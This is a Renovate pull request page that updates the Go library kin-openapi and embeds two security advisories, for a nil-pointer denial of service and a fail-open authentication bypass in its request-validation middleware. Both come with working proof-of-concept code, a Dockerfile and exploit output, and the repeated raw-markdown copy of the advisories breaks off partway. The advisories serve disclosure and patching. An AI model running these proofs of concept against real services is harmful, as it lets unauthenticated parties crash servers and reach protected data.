DevFW-CICD/ci-sizer
Watch
27
0
Fork
You've already forked ci-sizer
 0
Code Issues 1 Pull requests 8 Projects Releases 88 Packages Wiki Activity Actions

fix(deps): update module github.com/getkin/kin-openapi to v0.144.0 [security] #32

Open
sa-renovate wants to merge 1 commit from renovate/go-github.com-getkin-kin-openapi-vulnerability into main
pull from: renovate/go-github.com-getkin-kin-openapi-vulnerability
merge into: DevFW-CICD:main
Conversation 0 Commits 1 Files changed 2 +3 -3
sa-renovate commented 2026-07-28 13:45:40 +00:00
Member
Copy link

This PR contains the following updates:

Package Change Age Confidence
github.com/getkin/kin-openapi v0.142.0 → v0.144.0 age confidence

kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a content parameter whose media type has no schema

CVE-2026-73502 / GHSA-jpcw-4wr7-c3vq / GO-2026-6112

More information

Details

Field Value
Ecosystem Go
Package github.com/getkin/kin-openapi
Affected versions <= 0.143.0 (introduced in v0.2.0, PR #​90, 2019-05-07; reproduced on HEAD 30e2923)
Patched versions 0.144.0
Summary

openapi3filter.ValidateRequest contains a NULL-pointer-dereference denial of service: any unauthenticated client can crash the request-validation path with a single HTTP request. When an operation declares a content parameter (as opposed to a schema parameter) whose media type object has no schema, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own doc.Validate() accepts it — and the defect affects both OpenAPI 3.0.x and 3.1.x. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.

Details

The decoder used for content parameters when no custom ParamDecoder is configured (the library default), defaultContentParameterDecoder, dereferences the media-type schema without a nil check.

openapi3filter/req_resp_decoder.go, around line 197:

mt := content.Get("application/json")
if mt == nil {                       // media-type OBJECT is guarded ...
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
outSchema = mt.Schema.Value          // ... but mt.Schema is NOT — panics when nil

The function guards param.Content == nil, len(content) != 1, and mt == nil, but never mt.Schema == nil.

Why a schema-less content parameter is legal (so the sink is reachable — doc.Validate() returns no error), in both 3.0.x and 3.1.x:

  • openapi3/parameter.go — Parameter.Validate only enforces exactly one of schema XOR content; a parameter with content (and no schema) satisfies it.
  • openapi3/media_type.go — MediaType.Validate validates the schema only when it is non-nil, so an absent schema is not a validation error.

Call path to the panic:

ValidateRequest                          openapi3filter/validate_request.go:83
  └─ ValidateParameter                   openapi3filter/validate_request.go:177   (parameter.Content != nil)
       └─ decodeContentParameter         openapi3filter/req_resp_decoder.go:166   (attacker supplies value ⇒ found)
            └─ defaultContentParameterDecoder   openapi3filter/req_resp_decoder.go:197   ← nil deref / panic

Authentication note: ValidateRequest validates security before parameters, but the panic is reachable without credentials whenever the target operation declares no security requirement, or when no AuthenticationFunc is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation does declare security and a rejecting AuthenticationFunc is wired, that request is rejected before decoding.

PoC

Reproduced end-to-end against HEAD (30e2923) with a real net/http server and a stock http.Client.

1. Minimal OpenAPI 3.0.3 document (legal — doc.Validate() passes). The cfg query parameter uses content with an application/json media type that has no schema:

openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}

2. A complete, self-contained program. Drop this into a directory inside a checkout of github.com/getkin/kin-openapi and run it with go run .. It loads the document above, asserts doc.Validate() accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated GET /c?cfg=1:

package main

import (
	"context"
	"fmt"
	"net/http"
	"net/http/httptest"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(spec))
	if err != nil {
		panic(err)
	}
	// Reachability: the malformed-but-legal document must validate.
	if err := doc.Validate(context.Background()); err != nil {
		panic("doc.Validate rejected the spec, not reachable: " + err.Error())
	}
	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		panic(err)
	}

	// Handler mirrors openapi3filter.ValidationHandler: find route, validate.
	h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		route, pathParams, err := router.FindRoute(r)
		if err != nil {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		// Panics here on the crafted request (req_resp_decoder.go:197).
		if err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request:    r,
			PathParams: pathParams,
			Route:      route,
			Options:    &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		}); err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
	})

	srv := httptest.NewServer(h)
	defer srv.Close()

	// The single, unauthenticated attack request.
	resp, err := http.Get(srv.URL + "/c?cfg=1")
	if err != nil {
		// Expected: the server goroutine panicked, so the client sees EOF.
		fmt.Printf("client received an aborted response (expected): %v\n", err)
		return
	}
	defer resp.Body.Close()
	fmt.Printf("UNEXPECTED: got HTTP %d without a panic\n", resp.StatusCode)
}

3. Observed result — the request goroutine panics inside validation, and the client's http.Get returns an EOF:

http: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference
github.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)
	openapi3filter/req_resp_decoder.go:197
github.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)
	openapi3filter/req_resp_decoder.go:166
github.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)
	openapi3filter/validate_request.go:177
github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)
	openapi3filter/validate_request.go:83

Swapping the media type for one that carries a schema (application/json: {schema: {type: object}}) makes the same request return a clean 400 instead of panicking, confirming the missing schema is the cause.

Impact

This is an unauthenticated remote denial of service (CWE-476) against any service that validates incoming requests with openapi3filter and serves a spec containing at least one content parameter whose media type lacks a schema.

The precise consequence depends on which goroutine runs the panic and whether a recover() covers it:

Wiring Recovered by net/http? Result
Synchronous middleware / handler on net/http (incl. openapi3filter.ValidationHandler) Yes Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded http: panic serving log growth.
ValidateRequest on an app-spawned goroutine (fan-out, errgroup, async pre-check) No Whole process crashes on a single unauthenticated request unless the app added its own recover().
Non-net/http host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) No Whole process crashes.

This is why the suggested CVSS uses A:L (Base 5.3): under the recommended synchronous net/http wiring the panic is recovered per-connection. Reviewers may reasonably raise it to A:H (Base 7.5) for the spawned-goroutine and non-net/http integrations, where a single request kills the process.

Remediation (suggested)

Add a mt.Schema == nil guard mirroring the existing mt == nil guard, so a schema-less content parameter yields a clean validation error instead of a panic:

mt := content.Get("application/json")
if mt == nil {
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
if mt.Schema == nil {
    err = fmt.Errorf("parameter %q content media type has no schema", param.Name)
    return
}
outSchema = mt.Schema.Value

The unmarshal closure immediately below already tolerates a nil schema (it checks paramSchema != nil), so returning early on nil mt.Schema is consistent with surrounding intent.

Workarounds for consumers, pending a patch:

  • Ensure every content parameter in served specs declares a schema, or reject such specs at load time.
  • Supply a custom ParamDecoder that guards mt.Schema == nil.
  • Run request validation inside a handler with an explicit recover() — especially if validation runs off the request goroutine or on a non-net/http host.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default

CVE-2026-73501 / GHSA-r277-6w6q-xmqw / GO-2026-6095

More information

Details

Summary

ValidationHandler.Load() in getkin/kin-openapi silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which always returns nil without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI security requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on ValidationHandler as its enforcement middleware.

Details

ValidationHandler is an HTTP middleware exported by openapi3filter that validates incoming requests and responses against a loaded OpenAPI specification. Its Load() method initialises default fields before the handler begins serving:

// openapi3filter/validation_handler.go:47-49
if h.AuthenticationFunc == nil {
    h.AuthenticationFunc = NoopAuthenticationFunc
}

NoopAuthenticationFunc is defined as:

// openapi3filter/validation_handler.go:17-18
func NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }

It always returns nil, meaning every security scheme check it handles is automatically approved.

When a request arrives, ServeHTTP → before → validateRequest assembles a RequestValidationInput with the current AuthenticationFunc (now the no-op) injected into Options:

// openapi3filter/validation_handler.go:91-103
options := &Options{
    AuthenticationFunc: h.AuthenticationFunc,
}
requestValidationInput := &RequestValidationInput{
    Request:    r,
    PathParams: pathParams,
    Route:      route,
    Options:    options,
}
if err = ValidateRequest(r.Context(), requestValidationInput); err != nil {
    return err
}

Inside ValidateRequest, each security requirement calls options.AuthenticationFunc:

// openapi3filter/validate_request.go:436-438
f := options.AuthenticationFunc
if f == nil {
    return ErrAuthenticationServiceMissing   // fail-closed path — never reached via ValidationHandler
}
// ...
// openapi3filter/validate_request.go:497-503
if err := f(ctx, &AuthenticationInput{...}); err != nil {
    return err
}

Because f is the no-op (not nil), the ErrAuthenticationServiceMissing guard is never triggered and f(...) returns nil, clearing the security requirement. Control then proceeds to the protected handler (validation_handler.go:61-62).

The critical contradiction is that callers who use ValidateRequest directly with a nil AuthenticationFunc get fail-closed behavior (ErrAuthenticationServiceMissing), while callers who use the higher-level ValidationHandler with a nil AuthenticationFunc get fail-open behavior. Since omitting AuthenticationFunc is the natural default, the majority of real-world integrations are vulnerable.

Affected source file and line: openapi3filter/validation_handler.go:47–49 (commit 30e2923, tag v0.143.0).

PoC

Environment

Docker (any version supporting multi-stage builds)
Go 1.25 (inside the container via golang:1.25-alpine)
getkin/kin-openapi v0.143.0 (local source copy)

Step 1 — Build the Docker image

From the repository root (parent of vuln-001/):

docker build \
  -t vuln001-auth-bypass-poc \
  -f vuln-001/Dockerfile \
  reports/github_web_233_getkin__kin-openapi

The Dockerfile copies the local kin-openapi source into /kin-openapi/ inside the image and builds a Go binary (/poc-binary) from main.go. The go.mod inside the image uses a replace directive pointing to /kin-openapi, so no network access to the Go module proxy is required.

Step 2 — Run the container

docker run --rm --network none vuln001-auth-bypass-poc

Step 3 (alternative) — Use the Python helper

python3 vuln-001/poc.py --no-cleanup

What the PoC does

main.go creates a temporary OpenAPI 3.0 spec that declares GET /secret as protected by an apiKey security scheme:

paths:
  /secret:
    get:
      security:
        - apiKey: []
components:
  securitySchemes:
    apiKey:
      type: apiKey
      name: X-Api-Key
      in: header

It then constructs a ValidationHandler without setting AuthenticationFunc, calls Load(), and sends a request with no X-Api-Key header:

GET /secret HTTP/1.1
Host: example.test

##### X-Api-Key header is intentionally absent

Expected (vulnerable) output

=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===
  Direct ValidateRequest (nil auth) => ERROR: security requirements failed: missing AuthenticationFunc
  -> Fail-CLOSED behavior confirmed: missing auth function is rejected

=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===
  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret
  ValidationHandler.AuthenticationFunc: NOT SET (nil)
  Load() will inject NoopAuthenticationFunc, which always returns nil

  Request:  GET /secret  (X-Api-Key header: absent)
  Response: status=200  body="SECRET_DATA\n"

[EXPLOIT SUCCESS] Auth bypass confirmed!
  Protected resource /secret returned SECRET_DATA without credentials.
  ValidationHandler.Load() silently injected NoopAuthenticationFunc.
  Security requirement was bypassed. VULN-001 REPRODUCED.

The contrast block confirms fail-closed behavior when ValidateRequest is called directly. The exploit block confirms fail-open behavior through ValidationHandler. Status 200 and SECRET_DATA are returned without any credential.

Remediation patch

--- a/openapi3filter/validation_handler.go
+++ b/openapi3filter/validation_handler.go
@&#8203;@&#8203;
  if h.Handler == nil {
      h.Handler = http.DefaultServeMux
  }
- if h.AuthenticationFunc == nil {
-     h.AuthenticationFunc = NoopAuthenticationFunc
- }
  if h.ErrorEncoder == nil {
      h.ErrorEncoder = DefaultErrorEncoder
  }

After this change, a nil AuthenticationFunc propagates into ValidateRequest, which returns ErrAuthenticationServiceMissing and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc.

Impact

This is an authentication bypass vulnerability (CWE-287). Any application that:

  1. uses openapi3filter.ValidationHandler as its HTTP middleware, and
  2. declares one or more security requirements in its OpenAPI specification, and
  3. does not explicitly set AuthenticationFunc,

is fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.

Affected parties include all Go services that adopt ValidationHandler as a drop-in validation layer and rely on OpenAPI security declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the "getting started" path are affected without any additional mistake.

The confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.

Reproduction artifacts
Dockerfile
FROM golang:1.25-alpine

##### Install git (needed by go mod for some packages)
RUN apk add --no-cache git

WORKDIR /workspace

##### Copy the vulnerable kin-openapi repository as a local module replacement
COPY repo/ /kin-openapi/

##### Set up the PoC Go module
RUN mkdir -p /workspace/poc
WORKDIR /workspace/poc

##### Create go.mod that uses the local copy of the vulnerable kin-openapi
RUN cat > go.mod <<'EOF'
module kin-openapi-auth-bypass-poc

go 1.25

require github.com/getkin/kin-openapi v0.143.0

replace github.com/getkin/kin-openapi => /kin-openapi
EOF

##### Copy the PoC source (build context is the parent directory of vuln-001/)
COPY vuln-001/main.go /workspace/poc/main.go

##### Resolve dependencies and build
RUN go mod tidy && \
    go build -o /poc-binary .

##### Run the PoC
CMD ["/poc-binary"]
poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default
Repository: getkin/kin-openapi v0.143.0
CWE: CWE-287 (Improper Authentication)
CVSS: 9.1 (Critical)

Vulnerability Summary:
    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.
    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement
    passes without validation when the user forgets to set AuthenticationFunc.

    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing
    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).

Usage:
    python3 poc.py [--build-dir <dir>] [--image <name>] [--no-cleanup]
"""

import argparse
import os
import subprocess
import sys
import json

IMAGE_NAME = "vuln001-auth-bypass-poc"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), "repo")

SUCCESS_MARKER = "[EXPLOIT SUCCESS]"
EXPECTED_STATUS = "status=200"
EXPECTED_BODY = 'body="SECRET_DATA\\n"'

def run(cmd, **kwargs):
    """Run a shell command and return (returncode, stdout, stderr)."""
    print(f"[CMD] {' '.join(cmd)}")
    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)
    if result.stdout:
        print(result.stdout, end="")
    if result.stderr:
        print(result.stderr, end="", file=sys.stderr)
    return result.returncode, result.stdout, result.stderr

def build_image(build_dir):
    """Build the Docker image containing the PoC binary."""
    print("\n[*] Building Docker image ...")
    rc, stdout, stderr = run([
        "docker", "build",
        "--build-arg", f"REPO_DIR={REPO_DIR}",
        "-t", IMAGE_NAME,
        "-f", os.path.join(build_dir, "Dockerfile"),
        # Build context is the reports root so both Dockerfile and repo/ are reachable
        os.path.dirname(build_dir),
    ])
    if rc != 0:
        print(f"[ERROR] Docker build failed (exit {rc})", file=sys.stderr)
        sys.exit(rc)
    print("[*] Docker build succeeded.")
    return f"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}"

def run_container():
    """Run the container and capture output."""
    print("\n[*] Running PoC container ...")
    rc, stdout, stderr = run([
        "docker", "run", "--rm",
        "--network", "none",   # no network access needed
        IMAGE_NAME,
    ])
    combined = stdout + stderr
    return rc, combined

def evaluate(exit_code, output):
    """Determine whether the exploit was confirmed."""
    passed = (
        exit_code == 0
        and SUCCESS_MARKER in output
        and EXPECTED_STATUS in output
        and EXPECTED_BODY in output
    )
    return passed

def cleanup_image():
    """Remove the Docker image."""
    print(f"\n[*] Removing Docker image {IMAGE_NAME} ...")
    run(["docker", "rmi", "-f", IMAGE_NAME])

def main():
    global IMAGE_NAME
    parser = argparse.ArgumentParser(description="VULN-001 Auth Bypass PoC runner")
    parser.add_argument("--build-dir", default=SCRIPT_DIR,
                        help="Directory containing Dockerfile and main.go")
    parser.add_argument("--image", default=IMAGE_NAME,
                        help="Docker image name to build/run")
    parser.add_argument("--no-cleanup", action="store_true",
                        help="Keep the Docker image after the run")
    args = parser.parse_args()
    IMAGE_NAME = args.image

    print("=" * 60)
    print("VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default")
    print("=" * 60)
    print(f"  Build dir : {args.build_dir}")
    print(f"  Repo dir  : {REPO_DIR}")
    print(f"  Image     : {IMAGE_NAME}")

    build_cmd = build_image(args.build_dir)
    run_cmd = f"docker run --rm --network none {IMAGE_NAME}"

    exit_code, output = run_container()

    if not args.no_cleanup:
        cleanup_image()

    passed = evaluate(exit_code, output)

    print("\n" + "=" * 60)
    if passed:
        print("[RESULT] PASS — Auth bypass CONFIRMED")
        print("  The protected handler returned SECRET_DATA without credentials.")
        print("  ValidationHandler.Load() injected NoopAuthenticationFunc silently.")
    else:
        print(f"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})")

    print(f"\nContainer exit code : {exit_code}")
    print(f"Success marker found: {SUCCESS_MARKER in output}")
    print(f"Status 200 found    : {EXPECTED_STATUS in output}")
    print(f"Secret body found   : {EXPECTED_BODY in output}")

    # Exit with code that signals pass/fail
    sys.exit(0 if passed else 1)

if __name__ == "__main__":
    main()

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Authentication bypass via default NoopAuthenticationFunc in github.com/getkin/kin-openapi

CVE-2026-73501 / GHSA-r277-6w6q-xmqw / GO-2026-6095

More information

Details

Authentication bypass via default NoopAuthenticationFunc in github.com/getkin/kin-openapi

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Nil-pointer panic on content parameter without schema in github.com/getkin/kin-openapi

CVE-2026-73502 / GHSA-jpcw-4wr7-c3vq / GO-2026-6112

More information

Details

Nil-pointer panic on content parameter without schema in github.com/getkin/kin-openapi

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Release Notes

getkin/kin-openapi (github.com/getkin/kin-openapi)

v0.144.0

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/getkin/kin-openapi/compare/v0.143.0...v0.144.0

v0.143.0

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/getkin/kin-openapi/compare/v0.142.0...v0.143.0

Configuration

📅 Schedule: (in timezone Europe/Berlin)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [github.com/getkin/kin-openapi](https://github.com/getkin/kin-openapi) | `v0.142.0` → `v0.144.0` | ![age](https://developer.mend.io/api/mc/badges/age/go/github.com%2fgetkin%2fkin-openapi/v0.144.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/go/github.com%2fgetkin%2fkin-openapi/v0.142.0/v0.144.0?slim=true) | --- ### kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema [CVE-2026-73502](https://nvd.nist.gov/vuln/detail/CVE-2026-73502) / [GHSA-jpcw-4wr7-c3vq](https://github.com/advisories/GHSA-jpcw-4wr7-c3vq) / [GO-2026-6112](https://pkg.go.dev/vuln/GO-2026-6112) <details> <summary>More information</summary> #### Details | Field | Value | |---|---| | Ecosystem | Go | | Package | `github.com/getkin/kin-openapi` | | Affected versions | `<= 0.143.0` (introduced in `v0.2.0`, PR #&#8203;90, 2019-05-07; reproduced on `HEAD` `30e2923`) | | Patched versions | 0.144.0 | --- ##### Summary `openapi3filter.ValidateRequest` contains a NULL-pointer-dereference denial of service: any **unauthenticated** client can crash the request-validation path with a **single** HTTP request. When an operation declares a `content` parameter (as opposed to a `schema` parameter) whose media type object has **no `schema`**, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own `doc.Validate()` accepts it — and the defect affects **both OpenAPI 3.0.x and 3.1.x**. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash. ##### Details The decoder used for `content` parameters when no custom `ParamDecoder` is configured (the library default), `defaultContentParameterDecoder`, dereferences the media-type schema without a nil check. `openapi3filter/req_resp_decoder.go`, around line 197: ```go mt := content.Get("application/json") if mt == nil { // media-type OBJECT is guarded ... err = fmt.Errorf("parameter %q has no content schema", param.Name) return } outSchema = mt.Schema.Value // ... but mt.Schema is NOT — panics when nil ``` The function guards `param.Content == nil`, `len(content) != 1`, and `mt == nil`, but never `mt.Schema == nil`. **Why a schema-less content parameter is legal** (so the sink is reachable — `doc.Validate()` returns no error), in both 3.0.x and 3.1.x: - `openapi3/parameter.go` — `Parameter.Validate` only enforces *exactly one of `schema` XOR `content`*; a parameter with `content` (and no `schema`) satisfies it. - `openapi3/media_type.go` — `MediaType.Validate` validates the schema **only when it is non-nil**, so an absent schema is not a validation error. **Call path to the panic:** ``` ValidateRequest openapi3filter/validate_request.go:83 └─ ValidateParameter openapi3filter/validate_request.go:177 (parameter.Content != nil) └─ decodeContentParameter openapi3filter/req_resp_decoder.go:166 (attacker supplies value ⇒ found) └─ defaultContentParameterDecoder openapi3filter/req_resp_decoder.go:197 ← nil deref / panic ``` **Authentication note:** `ValidateRequest` validates security *before* parameters, but the panic is reachable **without credentials** whenever the target operation declares no security requirement, or when no `AuthenticationFunc` is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation *does* declare security and a rejecting `AuthenticationFunc` is wired, that request is rejected before decoding. ##### PoC Reproduced end-to-end against `HEAD` (`30e2923`) with a real `net/http` server and a stock `http.Client`. **1. Minimal OpenAPI 3.0.3 document** (legal — `doc.Validate()` passes). The `cfg` query parameter uses `content` with an `application/json` media type that has **no `schema`**: ```yaml openapi: 3.0.3 info: {title: poc, version: "1.0.0"} paths: /c: get: parameters: - name: cfg in: query content: application/json: {} # media type object with NO schema responses: "200": {description: ok} ``` **2. A complete, self-contained program.** Drop this into a directory inside a checkout of `github.com/getkin/kin-openapi` and run it with `go run .`. It loads the document above, asserts `doc.Validate()` accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated `GET /c?cfg=1`: ```go package main import ( "context" "fmt" "net/http" "net/http/httptest" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const spec = ` openapi: 3.0.3 info: {title: poc, version: "1.0.0"} paths: /c: get: parameters: - name: cfg in: query content: application/json: {} # media type object with NO schema responses: "200": {description: ok} ` func main() { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(spec)) if err != nil { panic(err) } // Reachability: the malformed-but-legal document must validate. if err := doc.Validate(context.Background()); err != nil { panic("doc.Validate rejected the spec, not reachable: " + err.Error()) } router, err := gorillamux.NewRouter(doc) if err != nil { panic(err) } // Handler mirrors openapi3filter.ValidationHandler: find route, validate. h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, err.Error(), http.StatusNotFound) return } // Panics here on the crafted request (req_resp_decoder.go:197). if err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }); err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) }) srv := httptest.NewServer(h) defer srv.Close() // The single, unauthenticated attack request. resp, err := http.Get(srv.URL + "/c?cfg=1") if err != nil { // Expected: the server goroutine panicked, so the client sees EOF. fmt.Printf("client received an aborted response (expected): %v\n", err) return } defer resp.Body.Close() fmt.Printf("UNEXPECTED: got HTTP %d without a panic\n", resp.StatusCode) } ``` **3. Observed result** — the request goroutine panics inside validation, and the client's `http.Get` returns an EOF: ``` http: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference github.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...) openapi3filter/req_resp_decoder.go:197 github.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...) openapi3filter/req_resp_decoder.go:166 github.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...) openapi3filter/validate_request.go:177 github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...) openapi3filter/validate_request.go:83 ``` Swapping the media type for one that carries a schema (`application/json: {schema: {type: object}}`) makes the same request return a clean `400` instead of panicking, confirming the missing schema is the cause. ##### Impact This is an **unauthenticated remote denial of service** (CWE-476) against any service that validates incoming requests with `openapi3filter` and serves a spec containing at least one `content` parameter whose media type lacks a `schema`. The precise consequence depends on which goroutine runs the panic and whether a `recover()` covers it: | Wiring | Recovered by `net/http`? | Result | |---|---|---| | Synchronous middleware / handler on `net/http` (incl. `openapi3filter.ValidationHandler`) | Yes | Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded `http: panic serving` log growth. | | `ValidateRequest` on an app-spawned goroutine (fan-out, `errgroup`, async pre-check) | No | **Whole process crashes** on a single unauthenticated request unless the app added its own `recover()`. | | Non-`net/http` host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) | No | **Whole process crashes.** | This is why the suggested CVSS uses `A:L` (Base 5.3): under the recommended synchronous `net/http` wiring the panic is recovered per-connection. Reviewers may reasonably raise it to `A:H` (Base 7.5) for the spawned-goroutine and non-`net/http` integrations, where a single request kills the process. --- ##### Remediation (suggested) Add a `mt.Schema == nil` guard mirroring the existing `mt == nil` guard, so a schema-less content parameter yields a clean validation error instead of a panic: ```go mt := content.Get("application/json") if mt == nil { err = fmt.Errorf("parameter %q has no content schema", param.Name) return } if mt.Schema == nil { err = fmt.Errorf("parameter %q content media type has no schema", param.Name) return } outSchema = mt.Schema.Value ``` The `unmarshal` closure immediately below already tolerates a nil schema (it checks `paramSchema != nil`), so returning early on nil `mt.Schema` is consistent with surrounding intent. **Workarounds for consumers, pending a patch:** - Ensure every `content` parameter in served specs declares a `schema`, or reject such specs at load time. - Supply a custom `ParamDecoder` that guards `mt.Schema == nil`. - Run request validation inside a handler with an explicit `recover()` — especially if validation runs off the request goroutine or on a non-`net/http` host. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/getkin/kin-openapi/security/advisories/GHSA-jpcw-4wr7-c3vq](https://github.com/getkin/kin-openapi/security/advisories/GHSA-jpcw-4wr7-c3vq) - [https://github.com/getkin/kin-openapi/commit/68ac2affa325514d7d6e731204d6a1edf6bdff64](https://github.com/getkin/kin-openapi/commit/68ac2affa325514d7d6e731204d6a1edf6bdff64) - [https://github.com/getkin/kin-openapi](https://github.com/getkin/kin-openapi) - [https://github.com/getkin/kin-openapi/releases/tag/v0.144.0](https://github.com/getkin/kin-openapi/releases/tag/v0.144.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jpcw-4wr7-c3vq) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default [CVE-2026-73501](https://nvd.nist.gov/vuln/detail/CVE-2026-73501) / [GHSA-r277-6w6q-xmqw](https://github.com/advisories/GHSA-r277-6w6q-xmqw) / [GO-2026-6095](https://pkg.go.dev/vuln/GO-2026-6095) <details> <summary>More information</summary> #### Details ##### Summary `ValidationHandler.Load()` in `getkin/kin-openapi` silently replaces a nil `AuthenticationFunc` with `NoopAuthenticationFunc`, which always returns `nil` without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI `security` requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on `ValidationHandler` as its enforcement middleware. ##### Details `ValidationHandler` is an HTTP middleware exported by `openapi3filter` that validates incoming requests and responses against a loaded OpenAPI specification. Its `Load()` method initialises default fields before the handler 